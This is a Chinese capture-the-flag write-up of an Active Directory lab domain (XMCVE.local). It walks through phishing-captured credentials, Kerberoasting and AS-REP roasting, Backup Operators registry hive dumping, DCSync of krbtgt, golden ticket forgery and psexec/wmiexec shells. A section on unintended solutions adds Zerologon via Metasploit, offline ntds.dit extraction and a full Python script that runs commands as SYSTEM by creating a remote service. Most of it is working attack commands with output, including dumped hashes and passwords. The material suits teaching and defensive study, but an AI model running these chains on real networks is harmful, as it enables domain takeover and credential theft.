注意: 每次只能捕获一个 POST(nc 收到后会断开)。需要重复发送钓鱼邮件并重启 nc 监听,共捕获 4 组凭据:
用户名
密码
说明
pr3d1ct
yuyan\_crypto
噪声账户(非域用户)
p2zhh
p2zhh\_web
有效域用户 ← 关键
aomr
aomr\_reverse
噪声账户(非域用户)
berial
berial\_pwn
噪声账户(非域用户)
原理: 这是一个经典的钓鱼攻击场景。攻击者发送包含恶意 URL 的邮件,目标用户点击链接后会被重定向到攻击者控制的假登录页面,输入的凭据被攻击者捕获。
将所有用户名保存到 users.txt,密码保存到 passwd.txt,用于下一步验证。
收获: 获得多组用户名密码,其中 p2zhh:p2zhh_web 是关键。
第五步:域用户验证
5.1 Kerbrute 用户枚举
将邮件中的用户名保存到 users.txt:
kerbrute userenum -d XMCVE.local users.txt --dc 192.168.0.222
确认 p2zhh 为有效域用户。
5.2 CrackMapExec 验证凭据
crackmapexec smb 192.168.0.222 -u p2zhh -p p2zhh_web
输出:
SMB 192.168.0.222 445 CASTLEVANIA [+] XMCVE.local\\p2zhh:p2zhh_web
凭据有效,p2zhh 是一个合法的域用户。
第六步:Kerberoasting / AS-REP Roasting
6.1 Kerberoasting(路径 A)
利用 p2zhh 的域用户身份查询设置了 SPN 的账户:
impacket-GetUserSPNs XMCVE.local/p2zhh:p2zhh_web -dc-ip 192.168.0.222 -request
输出:
ServicePrincipalName Name MemberOf-------------------------------------- ------ --------------------------------HTTP/CASTLEVANIA.XMCVE.local mowen CN=Backup Operators,CN=Builtin,...
$krb5tgs$23$*mowen$XMCVE.LOCAL$HTTP/CASTLEVANIA.XMCVE.local*$...
关键发现:
用户 mowen 设置了 SPN,可以进行 Kerberoasting
mowen 是 Backup Operators 组成员(这在后续步骤中非常重要)
6.2 AS-REP Roasting(路径 B)
impacket-GetNPUsers XMCVE.local/ -dc-ip 192.168.0.222 -usersfile users.txt -no-pass
输出:
mowen 账户设置了 \"不需要 Kerberos 预认证\"(DoesNotRequirePreAuth),可以直接获取 AS-REP hash。
6.3 离线破解
# Kerberoasting hash (TGS-REP, mode 13100)hashcat -m 13100 tgs_hash.txt /usr/share/wordlists/rockyou.txt
# 或 AS-REP hash (mode 18200)hashcat -m 18200 asrep_hash.txt /usr/share/wordlists/rockyou.txt
破解结果:
第七步:域枚举 - 确认 Backup Operators
7.1 LDAP 信息收集
ldapdomaindump -u 'XMCVE.local\\mowen' -p '1maxwell' 192.168.0.222
查看生成的 HTML/JSON 文件,确认 mowen 的组成员关系:
MemberOf: CN=Backup Operators,CN=Builtin,DC=XMCVE,DC=local
分析: Backup Operators 组成员拥有备份系统文件的特权,包括读取注册表 Hive(SAM、SYSTEM、SECURITY),这些 Hive 中包含域内所有账户的哈希值。
第八步:Backup Operators 权限利用
方法一
8.1 启动攻击机 SMB 共享
在 Kali 上启动一个 SMB 共享,用于接收导出的注册表文件:
mkdir /tmp/shareimpacket-smbserver -smb2support share /tmp/share
8.2 远程注册表备份
利用 mowen 的 Backup Operators 权限,远程导出注册表 Hive:
# 方法一:直接导出到攻击机 SMB 共享(需要靶机出站 445 可达)impacket-reg XMCVE.local/mowen:[email protected] backup -o \\\\\\share
# 方法二:导出到靶机本地路径(推荐,避免出站 SMB 被防火墙拦截)impacket-reg XMCVE.local/mowen:[email protected] backup -o 'C:\\Windows\\Temp\\hives'
注意: 如果方法一报 ERROR_PATH_NOT_FOUND,说明靶机无法访问攻击机的 SMB 共享(出站 445 被阻断)。使用方法二将 Hive 保存到靶机本地,再通过 smbclient 下载:
如果 C$ 也无权限,可通过其他已有的命令执行通道(如 xp\_cmdshell)将文件拷贝到可访问的位置。
smbclient '//192.168.0.222/C$' -U 'XMCVE/mowen%1maxwell' -c 'mkdir Windows\\Temp\\hives'
smbclient '//192.168.0.222/C$' -U 'XMCVE/mowen%1maxwell' -c 'cd Windows\\Temp\\hives; get SAM.save; get SYSTEM.save; get SECURITY.save'
生成文件:
SAM.save (24 KB)SYSTEM.save (15 MB)SECURITY.save (40 KB)
原理: Backup Operators 组成员拥有 SeBackupPrivilege,允许读取系统上任何文件,包括受保护的注册表 Hive。impacket-reg 通过远程注册表服务(RemoteRegistry)执行 RegSaveKey 操作,将 Hive 导出到指定路径。
方法二
IIS存储
浏览器访问(iis默认配置不可以访问save文件,管理员已对iis配置文件进行了修改)
第九步:提取 krbtgt Hash
离线解析 Hive
impacket-secretsdump -system /tmp/share/SYSTEM.save -security /tmp/share/SECURITY.save -sam /tmp/share/SAM.save LOCAL
输出(关键部分):
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets[*] $MACHINE.ACC$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d
[*] DefaultPassword(Unknown User):jU@Li&us@!#!
[*] _SC_MSSQLSERVER(Unknown User):Sql!2026
关键发现: $MACHINE.ACC 是域控的机器账户(CASTLEVANIA$)NTLM hash。在域控上,机器账户拥有 DCSync 权限,可以用它提取 krbtgt hash。
第十步:黄金票据伪造
利用机器账户 DCSync 提取 krbtgt
impacket-secretsdump -hashes 'aad3b435b51404eeaad3b435b51404ee:85ef092d9016422943e90d8a9dd7be0d' \\ 'XMCVE.local/[email protected] ' \\ -just-dc-user krbtgt -target-ip 192.168.0.222
输出:
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretskrbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::[*] Kerberos keys grabbedkrbtgt:aes256-cts-hmac-sha1-96:2392ad160e585e1448c5ca4623b9ad48789c267c6488a0074dd86e98457fb5fckrbtgt:aes128-cts-hmac-sha1-96:7d55d129c8fe6c50aa87cb542775f0a0krbtgt:des-cbc-md5:e570376eb538c132
收获: 成功提取 krbtgt 账户的 NTLM hash 1e3c4fe72e1383c576b4b3aeef4730a8。这是域中最关键的密钥,拥有它就可以伪造任意 Kerberos 票据。
获取域 SID
输出:
[*] Domain SID is: S-1-5-21-805392858-1149987238-1076533053
伪造 Golden Ticket
impacket-ticketer \\ -nthash 1e3c4fe72e1383c576b4b3aeef4730a8 \\ -domain-sid S-1-5-21-805392858-1149987238-1076533053 \\ -domain XMCVE.local \\ Administrator
输出:
[*] Creating basic skeleton ticket and target PAC[*] Customizing ticket for XMCVE.local/Administrator[*] PAC_LOGON_INFO[*] EncTicketPart[*] EncTGSRepPart[*] Saving ticket in Administrator.ccache
注入票据
export KRB5CCNAME=Administrator.ccache
确认票据已加载:
输出:
Ticket cache: FILE:Administrator.ccacheDefault principal: [email protected]
Valid starting Expires Service principalXX/XX/XXXX XX:XX:XX XX/XX/XXXX XX:XX:XX krbtgt/[email protected]
配置 Kerberos 认证
确保 /etc/krb5.conf 包含正确的域配置:
[libdefaults] default_realm = XMCVE.LOCAL dns_lookup_realm = false dns_lookup_kdc = false
[realms] XMCVE.LOCAL = { kdc = 192.168.0.222 admin_server = 192.168.0.222 }
[domain_realm] .xmcve.local = XMCVE.LOCAL xmcve.local = XMCVE.LOCAL
同时确保 /etc/hosts 中有正确的解析:
192.168.0.222 CASTLEVANIA.XMCVE.local CASTLEVANIA
使用 Golden Ticket 获取域管 Shell
# 方法一:psexec(获取交互式 SYSTEM shell)impacket-psexec XMCVE.local/[email protected] -k -no-pass -target-ip 192.168.0.222
# 方法二:wmiexec(直接执行命令,更隐蔽)impacket-wmiexec XMCVE.local/[email protected] -k -no-pass -target-ip 192.168.0.222 -codec gbk \"type C:\\Users\\Administrator\\Desktop\\flag.txt\"
wmiexec 输出:
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect usedFLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
成功以域管理员身份执行命令。
获取 Flag(已删除)
type C:\\Users\\Administrator\\Desktop\\flag.txt
输出:
FLAG{XMCVE_Castlevania_Bloodlines_DA_Pwned}
Castlevania - Unexpected
下列四种非预期解法均取自本次比赛选手的wp中
Zerologon
CVSS满分漏洞,被称为域内永恒之蓝
八名选手采用该方法解出题目
影响系统版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server 2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2 Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019 (Server Core installation) Windows Server, version 1903 (Server Core installation) Windows Server, version 1909 (Server Core installation) Windows Server, version 2004 (Server Core installation)
利用方法
手法一:msfconsole
1. ZeroLogon
$ crackmapexec smb 192.168.40.132 -u '' -p '' -M zerologon
ZEROLOGO... 192.168.40.132 445 CASTLEVANIA VULNERABLE
msf6> use auxiliary/admin/dcerpc/cve_2020_1472_zerologonmsf6> set RHOSTS 192.168.40.132msf6> set NBNAME CASTLEVANIAmsf6> run
[+] 192.168.40.132:49668 - Successfully authenticated[+] 192.168.40.132:49668 - Successfully set the machine account (CASTLEVANIA$)password to:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
2. DCSync
$ impacket-secretsdump -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' \\ -just-dc 'XMCVE.local/CASTLEVANIA$'@192.168.40.132
[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::XMCVE.local\\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2bf43119e258bcecf71d44abc29db7:::XMCVE.local\\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb5fa49a38497a71e144f690860688e:::
手法二:python脚本
1. Zerologon
2. hash dump
利用成功,接下来dump域内所有用户的哈希
本地挂载
离线没法修,无论是ntds.dit还是Hive删掉都会直接影响系统运行
俩名选手采用该方法解出题目
方法一:挂载kali
1. 挂载硬盘并提取 NTDS 数据库
将 Windows 域控的虚拟硬盘挂载到 Kali Linux,复制 AD 数据库文件:
ntds.dit:Active Directory 数据库,存储所有域用户的凭据 Hash
SYSTEM:注册表 Hive,包含解密 ntds.dit 所需的 BootKey 成功提取所有域用户的 NT Hash:
sudo cp /mnt/win/Windows/NTDS/ntds.dit ~/Desktop/sudo cp /mnt/win/Windows/System32/config/SYSTEM ~/Desktop/
2. 离线提取域用户 Hash
使用 impacket-secretsdump 离线解密 ntds.dit:
关键发现:Administrator 与 Alucard 共享同一个 NT Hash,多个普通用户也共享同一个 Hash,说明存在弱密码策略。
sudo impacket-secretsdump -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168::: Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168::: XMCVE.local\p2zhh:1104:::bc2bf43119e258bcecf71d44abc29db7::: XMCVE.local\mowen:1105:::efb5fa49a38497a71e144f690860688e::: XMCVE.local\sales/support/it/hr/admin:共享 hash 2b576acbe6bcfda7294d6bd18041b8fe XMCVE.local\sqlsvc:1112:::d93ef04edb808c5bce3a5bd67b936ca9:::
方法二:OVA分解挂盘
1. VBoxManage
本地没有直接可用的官方 VirtualBox 7.2.0 图形界面环境,所以我直接用 VBoxManage.exe 做手工导入和挂盘。
处理方式不是直接 VBoxManage import,而是:
从 Bloodstained.ova 解出 Bloodstained.ovf 和 Bloodstained 1-disk001.vmdk
把 streamOptimized 的 VMDK 转成可直接挂载的 VDI
手工创建 Windows2019_64 虚拟机并挂盘
配置 NAT 端口转发
2. 离线导出
离线链路,从 VMDK 里直接导出关键文件:
/Windows/NTDS/ntds.dit
/Windows/System32/config/SYSTEM
/Windows/System32/config/SECURITY
/inetpub/wwwroot
3. 域控凭据
对离线导出的三件套执行:
python secretsdump.py -system offline/hives/SYSTEM \\ -security offline/hives/SECURITY \\ -ntds offline/hives/ntds.dit LOCAL
利用脚本
import argparseimport osimport randomimport reimport shutilimport stringimport subprocessimport sysimport timefrom pathlib import Path
from impacket.dcerpc.v5 import scmr, transport
ROOT = Path(__file__).resolve().parentVM_NAME = \"Bloodstained\"DEFAULT_OVA = ROOT / \"Bloodstained.ova\"DEFAULT_OVF = ROOT / \"Bloodstained.ovf\"DEFAULT_VMDK = ROOT / \"Bloodstained 1-disk001.vmdk\"DEFAULT_VM_DIR = ROOT / \"vm\" / VM_NAMEDEFAULT_VDI = DEFAULT_VM_DIR / f\"{VM_NAME}.vdi\"DEFAULT_VBOX_HOME = ROOT / \".vboxhome\"DEFAULT_OFFLINE_DIR = ROOT / \"offline\" / \"hives\"DEFAULT_DUMP = ROOT / \"artifacts_secretsdump.txt\"DEFAULT_WHOAMI = ROOT / \"artifacts_system_whoami.txt\"DEFAULT_HOSTNAME = ROOT / \"artifacts_system_hostname.txt\"
def run_command(args, *, cwd=None, env=None, check=True, capture=True): proc = subprocess.run( args, cwd=cwd, env=env, check=False, capture_output=capture, text=True, encoding=\"utf-8\", errors=\"backslashreplace\", ) if check and proc.returncode != 0: details = proc.stdout if proc.stderr: details = f\"{details}\
{proc.stderr}\" if details else proc.stderr raise RuntimeError(f\"command failed ({proc.returncode}): {' '.join(map(str, args))}\
{details}\".rstrip()) return proc
def ensure_exists(path: Path, hint: str) -> None: if not path.exists(): raise RuntimeError(f\"missing required file: {path}\
{hint}\")
def find_vboxmanage() -> Path: candidates = [ Path(r\"C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe\"), Path(r\"C:\\Program Files\\ldplayer9box\\VBoxManage.exe\"), ] for candidate in candidates: if candidate.exists(): return candidate found = shutil.which(\"VBoxManage.exe\") or shutil.which(\"VBoxManage\") if found: return Path(found) raise RuntimeError(\"VBoxManage.exe not found. Install VirtualBox 7.2.0 or adjust PATH.\")
def find_wsl() -> Path: found = shutil.which(\"wsl.exe\") if not found: raise RuntimeError(\"wsl.exe not found. WSL with kali-linux is required for virt-copy-out.\") return Path(found)
def find_secretsdump(default_python: Path) -> Path: candidates = [ default_python.parent / \"Scripts\" / \"secretsdump.py\", Path(r\"D:\\Python\\Python311\\Scripts\\secretsdump.py\"), ] for candidate in candidates: if candidate.exists(): return candidate raise RuntimeError(\"secretsdump.py not found. Install impacket for the Python interpreter you will use.\")
def vbox(vboxmanage: Path, vbox_home: Path, *args: str) -> subprocess.CompletedProcess: env = os.environ.copy() env[\"VBOX_USER_HOME\"] = str(vbox_home) return run_command([str(vboxmanage), *args], env=env)
def convert_to_wsl_path(path: Path) -> str: full = path.resolve() drive = full.drive[:1].lower() rest = full.as_posix()[2:] return f\"/mnt/{drive}{rest}\"
def ensure_ova_extracted(ova: Path, ovf: Path, vmdk: Path) -> None: ensure_exists(ova, \"Place the challenge OVA in the current directory.\") if ovf.exists() and vmdk.exists(): return run_command([\"tar\", \"-xf\", str(ova), ovf.name, vmdk.name], cwd=ova.parent)
def ensure_vdi(vboxmanage: Path, vmdk: Path, vdi: Path) -> None: if vdi.exists(): return vdi.parent.mkdir(parents=True, exist_ok=True) run_command([str(vboxmanage), \"clonemedium\", \"disk\", str(vmdk), str(vdi), \"--format\", \"VDI\"])
def ensure_vm_registered(vboxmanage: Path, vbox_home: Path, vm_dir: Path, vdi: Path) -> None: vm_dir.mkdir(parents=True, exist_ok=True) vbox_home.mkdir(parents=True, exist_ok=True) vbox(vboxmanage, vbox_home, \"list\", \"systemproperties\") vm_list = vbox(vboxmanage, vbox_home, \"list\", \"vms\").stdout vmx = vm_dir / f\"{VM_NAME}.vbox\" if f'\"{VM_NAME}\"' not in vm_list: if vmx.exists(): vbox(vboxmanage, vbox_home, \"registervm\", str(vmx)) else: vbox(vboxmanage, vbox_home, \"createvm\", \"--name\", VM_NAME, \"--basefolder\", str(ROOT / \"vm\"), \"--ostype\", \"Windows2019_64\", \"--register\") vbox( vboxmanage, vbox_home, \"modifyvm\", VM_NAME, \"--memory\", \"2048\", \"--cpus\", \"1\", \"--firmware\", \"bios\", \"--ioapic\", \"on\", \"--pae\", \"off\", \"--vram\", \"128\", \"--graphicscontroller\", \"vboxsvga\", \"--boot1\", \"disk\", \"--boot2\", \"dvd\", \"--boot3\", \"none\", \"--boot4\", \"none\", \"--audio\", \"none\", ) vbox(vboxmanage, vbox_home, \"storagectl\", VM_NAME, \"--name\", \"SATA\", \"--add\", \"sata\", \"--controller\", \"IntelAhci\")
info = vbox(vboxmanage, vbox_home, \"showvminfo\", VM_NAME, \"--machinereadable\").stdout if '\"SATA-0-0\"=\"none\"' in info: vbox( vboxmanage, vbox_home, \"storageattach\", VM_NAME, \"--storagectl\", \"SATA\", \"--port\", \"0\", \"--device\", \"0\", \"--type\", \"hdd\", \"--medium\", str(vdi), )
def ensure_nat_rules(vboxmanage: Path, vbox_home: Path) -> None: forwards = [ \"http,tcp,127.0.0.1,18080,,80\", \"ldap,tcp,127.0.0.1,10389,,389\", \"mssql,tcp,127.0.0.1,11433,,1433\", \"smb,tcp,127.0.0.1,10445,,445\", ] info = vbox(vboxmanage, vbox_home, \"showvminfo\", VM_NAME, \"--machinereadable\").stdout for rule in forwards: name = rule.split(\",\", 1)[0] pattern = re.compile(rf'^Forwarding\\(\\d+\\)=\"{re.escape(name)},', re.MULTILINE) if not pattern.search(info): vbox(vboxmanage, vbox_home, \"modifyvm\", VM_NAME, \"--natpf1\", rule)
def get_vm_state(vboxmanage: Path, vbox_home: Path) -> str: info = vbox(vboxmanage, vbox_home, \"showvminfo\", VM_NAME, \"--machinereadable\").stdout match = re.search(r'^VMState=\"([^\"]+)\"$', info, re.MULTILINE) return match.group(1) if match else \"unknown\"
def restart_vm(vboxmanage: Path, vbox_home: Path, boot_wait: int) -> None: state = get_vm_state(vboxmanage, vbox_home) if state == \"running\": vbox(vboxmanage, vbox_home, \"controlvm\", VM_NAME, \"poweroff\") time.sleep(3) vbox(vboxmanage, vbox_home, \"startvm\", VM_NAME, \"--type\", \"headless\") time.sleep(boot_wait)
def copy_offline_hives(wsl_exe: Path, work_root: Path, offline_dir: Path, distro: str, vmdk: Path) -> None: offline_dir.mkdir(parents=True, exist_ok=True) wsl_root = convert_to_wsl_path(work_root) wsl_vmdk = convert_to_wsl_path(vmdk) script = \"\
\".join( [ \"set -e\", f\"cd '{wsl_root}'\", \"mkdir -p offline/hives\", f\"virt-copy-out -a '{wsl_vmdk}' /Windows/NTDS/ntds.dit offline/hives/\", f\"virt-copy-out -a '{wsl_vmdk}' /Windows/System32/config/SYSTEM offline/hives/\", f\"virt-copy-out -a '{wsl_vmdk}' /Windows/System32/config/SECURITY offline/hives/\", ] ) run_command([str(wsl_exe), \"-u\", \"root\", \"-d\", distro, \"--\", \"bash\", \"-lc\", script])
def run_secretsdump(python_exe: Path, secretsdump: Path, offline_dir: Path, dump_path: Path) -> None: system_hive = offline_dir / \"SYSTEM\" security_hive = offline_dir / \"SECURITY\" ntds = offline_dir / \"ntds.dit\" ensure_exists(system_hive, \"Offline SYSTEM hive is required.\") ensure_exists(security_hive, \"Offline SECURITY hive is required.\") ensure_exists(ntds, \"Offline NTDS.dit is required.\") proc = run_command( [ str(python_exe), str(secretsdump), \"-system\", str(system_hive), \"-security\", str(security_hive), \"-ntds\", str(ntds), \"LOCAL\", ] ) dump_path.write_text(proc.stdout, encoding=\"utf-8\")
def read_text_auto(path: Path) -> str: raw = path.read_bytes() for encoding in (\"utf-8\", \"utf-16\", \"utf-16-le\", \"utf-16-be\", \"gbk\"): try: return raw.decode(encoding) except UnicodeDecodeError: continue return raw.decode(\"utf-8\", errors=\"ignore\")
def extract_hash_line(dump_path: Path, account: str) -> str: pattern = re.compile(rf\"{re.escape(account)}:\\d+:[0-9a-fA-F]{{32}}:[0-9a-fA-F]{{32}}:::\") for line in read_text_auto(dump_path).splitlines(): match = pattern.search(line) if match: return match.group(0) raise RuntimeError(f\"could not find hash line for {account} in {dump_path}\")
def parse_hash_line(hash_line: str) -> tuple[str, str]: parts = hash_line.strip().split(\":\") if len(parts) < 4: raise RuntimeError(f\"invalid hash line: {hash_line}\") return parts[2], parts[3]
def random_tag(prefix: str, length: int = 8) -> str: return prefix + \"\".join(random.choice(string.ascii_letters) for _ in range(length))
def escape_for_cmd_echo(command: str) -> str: replacements = { \"^\": \"^^\", \"&\": \"^&\", \"<\": \"^<\", \">\": \"^>\", \"|\": \"^|\", } escaped = [] for char in command: escaped.append(replacements.get(char, char)) return \"\".join(escaped)
def smbexec_one_shot( *, target_name: str, target_ip: str, smb_port: int, domain: str, username: str, password: str, lmhash: str, nthash: str, command: str,) -> str: stringbinding = rf\"ncacn_np:{target_name}[\\pipe\\svcctl]\" rpc_transport = transport.DCERPCTransportFactory(stringbinding) rpc_transport.setRemoteHost(target_ip) rpc_transport.set_dport(smb_port) rpc_transport.set_credentials(username, password, domain, lmhash, nthash, None)
dce = rpc_transport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR)
smb_conn = rpc_transport.get_smb_connection() smb_conn.setTimeout(100000)
scm_handle = scmr.hROpenSCManagerW(dce)[\"lpScHandle\"] service_name = random_tag(\"svc\") output_name = random_tag(\"out\") + \".txt\" batch_name = random_tag(\"job\") + \".bat\" output_path = rf\"C:\\Windows\\Temp\\{output_name}\" batch_path = rf\"C:\\Windows\\Temp\\{batch_name}\" batch_body = f\"{escape_for_cmd_echo(command)} ^> {output_path} 2^>^&1\" binary_path = ( rf\"C:\\Windows\\System32\\cmd.exe /Q /c \" rf\"echo {batch_body} > {batch_path} & \" rf\"C:\\Windows\\System32\\cmd.exe /Q /c {batch_path} & \" rf\"del {batch_path}\" )
service_handle = None try: resp = scmr.hRCreateServiceW( dce, scm_handle, service_name, service_name, lpBinaryPathName=binary_path, dwStartType=scmr.SERVICE_DEMAND_START, ) service_handle = resp[\"lpServiceHandle\"] try: scmr.hRStartServiceW(dce, service_handle) except Exception: pass
time.sleep(1)
last_error = None for _ in range(30): try: chunks = []
def callback(data: bytes) -> None: chunks.append(data)
smb_conn.getFile(\"ADMIN$\", rf\"Temp\\{output_name}\", callback) output = b\"\".join(chunks).decode(\"utf-8\", errors=\"backslashreplace\") if output.strip(): smb_conn.deleteFile(\"ADMIN$\", rf\"Temp\\{output_name}\") return output except Exception as exc: last_error = exc time.sleep(1) raise RuntimeError(f\"timed out waiting for remote output file {output_name}: {last_error}\") finally: if service_handle is not None: try: scmr.hRDeleteService(dce, service_handle) except Exception: pass try: scmr.hRCloseServiceHandle(dce, service_handle) except Exception: pass try: scmr.hRCloseServiceHandle(dce, scm_handle) except Exception: pass try: dce.disconnect() except Exception: pass
def extract_proof(output: str, command: str) -> str: cleaned = re.sub(r\"[\\x00-\\x08\\x0b-\\x1f]\", \"\", output) if command == \"whoami\": match = re.search(r\"(?im)^\\s*(nt authority\\\\system)\\s*$\", cleaned) elif command == \"hostname\": match = re.search(r\"(?im)^\\s*(CASTLEVANIA)\\s*$\", cleaned) else: match = None if not match: raise RuntimeError(f\"failed to extract proof line for {command}\") return match.group(1)
def verify_shell( *, dump_path: Path, hash_line: str | None, domain: str, username: str, target_name: str, target_ip: str, smb_port: int, whoami_path: Path, hostname_path: Path, retries: int, retry_delay: int,) -> tuple[str, str]: if not hash_line: ensure_exists(dump_path, \"Run the full mode first or provide --hash-line.\") hash_line = extract_hash_line(dump_path, username)
lmhash, nthash = parse_hash_line(hash_line) identity = f\"{domain}/{username}@{target_name}\" print(f\"[*] principal : {identity}\") print(f\"[*] target ip : {target_ip}:{smb_port}\") print(f\"[*] hashes : {lmhash}:{nthash}\")
def run_with_retry(command: str) -> str: last_error = None for attempt in range(1, retries + 1): try: return smbexec_one_shot( target_name=target_name, target_ip=target_ip, smb_port=smb_port, domain=domain, username=username, password=\"\", lmhash=lmhash, nthash=nthash, command=command, ) except Exception as exc: last_error = exc if attempt == retries: break print(f\"[*] retry {attempt}/{retries - 1} for {command}: {exc}\") time.sleep(retry_delay) raise RuntimeError(f\"{command} failed after {retries} attempts: {last_error}\")
whoami_output = run_with_retry(\"whoami\") whoami_path.write_text(whoami_output, encoding=\"utf-8\") whoami = extract_proof(whoami_output, \"whoami\") print(f\"[+] whoami : {whoami}\")
hostname_output = run_with_retry(\"hostname\") hostname_path.write_text(hostname_output, encoding=\"utf-8\") hostname = extract_proof(hostname_output, \"hostname\") print(f\"[+] hostname : {hostname}\")
return whoami, hostname
def do_full(args) -> int: python_exe = args.python.resolve() vboxmanage = args.vboxmanage.resolve() if args.vboxmanage else find_vboxmanage() wsl_exe = args.wsl.resolve() if args.wsl else find_wsl() secretsdump = args.secretsdump.resolve() if args.secretsdump else find_secretsdump(python_exe)
ensure_exists(python_exe, \"Use a Python interpreter with impacket installed.\")
args.vbox_home.mkdir(parents=True, exist_ok=True) args.offline_dir.mkdir(parents=True, exist_ok=True) (ROOT / \"vm\").mkdir(parents=True, exist_ok=True)
print(\"[*] extracting OVA if needed\") ensure_ova_extracted(args.ova, args.ovf, args.vmdk)
print(\"[*] preparing VDI\") ensure_vdi(vboxmanage, args.vmdk, args.vdi)
print(\"[*] registering VM\") ensure_vm_registered(vboxmanage, args.vbox_home, args.vm_dir, args.vdi)
print(\"[*] setting NAT forwards\") ensure_nat_rules(vboxmanage, args.vbox_home)
print(\"[*] starting VM\") restart_vm(vboxmanage, args.vbox_home, args.boot_wait)
print(\"[*] copying offline hives from VMDK\") copy_offline_hives(wsl_exe, ROOT, args.offline_dir, args.wsl_distro, args.vmdk)
print(\"[*] running secretsdump\") run_secretsdump(python_exe, secretsdump, args.offline_dir, args.dump)
print(\"[*] verifying Administrator shell\") whoami, hostname = verify_shell( dump_path=args.dump, hash_line=args.hash_line, domain=args.domain, username=args.user, target_name=args.target, target_ip=args.target_ip, smb_port=args.smb_port, whoami_path=args.whoami_out, hostname_path=args.hostname_out, retries=args.verify_retries, retry_delay=args.verify_delay, ) print(f\"[+] complete : {whoami} @ {hostname}\") return 0
def do_verify(args) -> int: print(\"[*] verifying Administrator shell\") whoami, hostname = verify_shell( dump_path=args.dump, hash_line=args.hash_line, domain=args.domain, username=args.user, target_name=args.target, target_ip=args.target_ip, smb_port=args.smb_port, whoami_path=args.whoami_out, hostname_path=args.hostname_out, retries=args.verify_retries, retry_delay=args.verify_delay, ) print(f\"[+] complete : {whoami} @ {hostname}\") return 0
def build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser(description=\"One-file local reproduction script for BabyDC.\") parser.add_argument(\"--python\", type=Path, default=Path(sys.executable), help=\"Python interpreter with impacket installed\") parser.add_argument(\"--domain\", default=\"XMCVE.local\") parser.add_argument(\"--user\", default=\"Administrator\") parser.add_argument(\"--target\", default=\"CASTLEVANIA.XMCVE.local\") parser.add_argument(\"--target-ip\", default=\"127.0.0.1\") parser.add_argument(\"--smb-port\", type=int, default=10445) parser.add_argument(\"--dump\", type=Path, default=DEFAULT_DUMP) parser.add_argument(\"--hash-line\", help=\"Explicit secretsdump line, overrides --dump in verify mode\") parser.add_argument(\"--whoami-out\", type=Path, default=DEFAULT_WHOAMI) parser.add_argument(\"--hostname-out\", type=Path, default=DEFAULT_HOSTNAME) parser.add_argument(\"--verify-retries\", type=int, default=12, help=\"Retry count for post-boot shell validation\") parser.add_argument(\"--verify-delay\", type=int, default=5, help=\"Seconds between shell validation retries\")
subparsers = parser.add_subparsers(dest=\"mode\", required=True)
full = subparsers.add_parser(\"full\", help=\"Extract the disk, boot the VM, dump hashes, and verify SYSTEM execution\") full.add_argument(\"--ova\", type=Path, default=DEFAULT_OVA) full.add_argument(\"--ovf\", type=Path, default=DEFAULT_OVF) full.add_argument(\"--vmdk\", type=Path, default=DEFAULT_VMDK) full.add_argument(\"--vm-dir\", type=Path, default=DEFAULT_VM_DIR) full.add_argument(\"--vdi\", type=Path, default=DEFAULT_VDI) full.add_argument(\"--vbox-home\", type=Path, default=DEFAULT_VBOX_HOME) full.add_argument(\"--offline-dir\", type=Path, default=DEFAULT_OFFLINE_DIR) full.add_argument(\"--vboxmanage\", type=Path, help=\"Override VBoxManage.exe\") full.add_argument(\"--wsl\", type=Path, help=\"Override wsl.exe\") full.add_argument(\"--wsl-distro\", default=\"kali-linux\") full.add_argument(\"--secretsdump\", type=Path, help=\"Override secretsdump.py\") full.add_argument(\"--boot-wait\", type=int, default=25, help=\"Seconds to wait after starting the VM\") full.set_defaults(func=do_full)
verify = subparsers.add_parser(\"verify\", help=\"Use the dump or a hash line to prove SYSTEM execution\") verify.set_defaults(func=do_verify)
return parser
def main() -> int: parser = build_parser() args = parser.parse_args() return args.func(args)
if __name__ == \"__main__\": try: raise SystemExit(main()) except Exception as exc: print(f\"[-] {exc}\", file=sys.stderr) raise
弱口令
出这个靶机实际上部分参考了xen-prolabs,当时随手设了几个干扰账户.....忘记修改为强密码了
导致可以越掉IIS,MSSQL,SMTP的Swaks欺骗三个考点,直接拿mowen账号来Backup Operators
俩名选手采用该方法解出题目
1. 用户枚举与口令喷洒
先用 kerbrute跑一轮常见用户名:
